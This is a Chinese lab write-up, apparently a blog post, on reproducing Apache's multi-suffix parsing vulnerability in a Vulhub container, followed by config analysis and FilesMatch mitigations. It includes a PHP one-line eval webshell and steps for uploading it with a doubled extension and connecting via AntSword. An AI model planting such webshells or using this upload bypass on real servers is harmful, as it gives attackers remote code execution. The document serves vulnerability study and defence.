Apache多后缀解析漏洞复现(apache_parsing_vulnerability)

漏洞原理

 apahe解析文件时候有一特性,Apache默认一个文件可以有多个以点分割的后缀,apache会从最右边开始识别其后缀名,如遇无法识别的后缀名则依次往左进行识别
如果运维人员给.php后缀的文件添加了处理程序 `AddHandler application/x-httpd-php .php` 那么在有多个后缀的情况下,只要文件含有.php后缀那么该文件就会被识别为PHP文件进行解析。
该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞,

漏洞复现

这里我以Vulhub靶场为例演示

[root@localhost vulhub]# cd httpd/apache_parsing_vulnerability/     # 进入到apache_parsing_vulnerability 多后缀解析漏洞目录
[root@localhost apache_parsing_vulnerability]# docker-compose up -d   拉取镜像之后启动容器
# 注意
容器没起来可以先看看日志报错
[root@localhost apache_parsing_vulnerability]# docker logs apache_parsing_vulnerability_apache_1 
/bin/sh: 0: cannot open /var/www/start.sh: Permission denied
[root@localhost apache_parsing_vulnerability]# setenforce 0    #  关闭selinux之后docker-compose up -d重启容器
[root@localhost apache_parsing_vulnerability]# docker ps -s    # 查看正在运行中的容器(容器启动成功)
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                NAMES                                   SIZE
5c1134637b1f        php:apache          "docker-php-entryp..."   20 minutes ago      Up 5 seconds        0.0.0.0:80->80/tcp   apache_parsing_vulnerability_apache_1   2 B (virtual 459 MB)

# 浏览器访问靶场环境
http://10.10.10.133/

此漏洞只允许上传gif、png、jpg、jpeg后缀的文件,所以当上传php文件时会报错

 本地创建一个php后缀的一句话木马文件,内容如下:
<?php @eval($_POST['ggbond']);?>
之后上传,并且通过Bp抓取前端数据包,修改文件后缀名如图所示

蚁剑连接

通过蚁剑我们发现webshell成功连接
# 至于文件上传的路径,我们可以通过抓取数据包将其发送到repeater模块进行查看

 漏洞分析

我们进入容器查看一下配置文件
[root@localhost apache_parsing_vulnerability]# docker exec -it apache_parsing_vulnerability_apache_1 /bin/bash
root@5c1134637b1f:/var/www/html# cd /etc/apache2/conf-available/
root@5c1134637b1f:/etc/apache2/conf-available# ls
charset.conf  docker-php.conf  localized-error-pages.conf  other-vhosts-access-log.conf  security.conf    serve-cgi-bin.conf
root@5c1134637b1f:/etc/apache2/conf-available# cat docker-php.conf
AddHandler application/x-httpd-php .php      

DirectoryIndex disabled
DirectoryIndex index.php index.html                                                                  

<Directory /var/www/>
    Options -Indexes
    AllowOverride All
</Directory>

# 从上面php配置文件可知
AddHandler application/x-httpd-php .php      
此命令是并没有进行类似于正则等的安全设置,凡是有带.php后缀的都会将其交给application/x-httpd-php解析程序进行解析

漏洞防御手段

1、通过正则方式来对其进行限制;、在配置文件中添加如下内容,匹配样式为 .php. 的文件并拒绝访问(该漏洞环境配置文件位于漏洞环境目录的 conf/docker-php.conf 生产环境中按照具体情况而定)

<FilesMatch "\.php\.">
require all denied
</FilesMatch>

2、将原本的 AddHandler application/x-httpd-php .php 注释掉,然后利用正则表达式单独为.php的文件添加处理程序

<FilesMatch ".+.php$">
SetHandler application/x-httpd-php
</FilesMatch>

小彩蛋

去阿里云官网的工作台搜索“容器镜像服务”
加速器地址: https://zw51rs4m.mirror.aliyuncs.com
配置镜像加速器
针对Docker客户端版本大于 1.10.0 的用户
您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
  "registry-mirrors": ["https://zw51rs4m.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值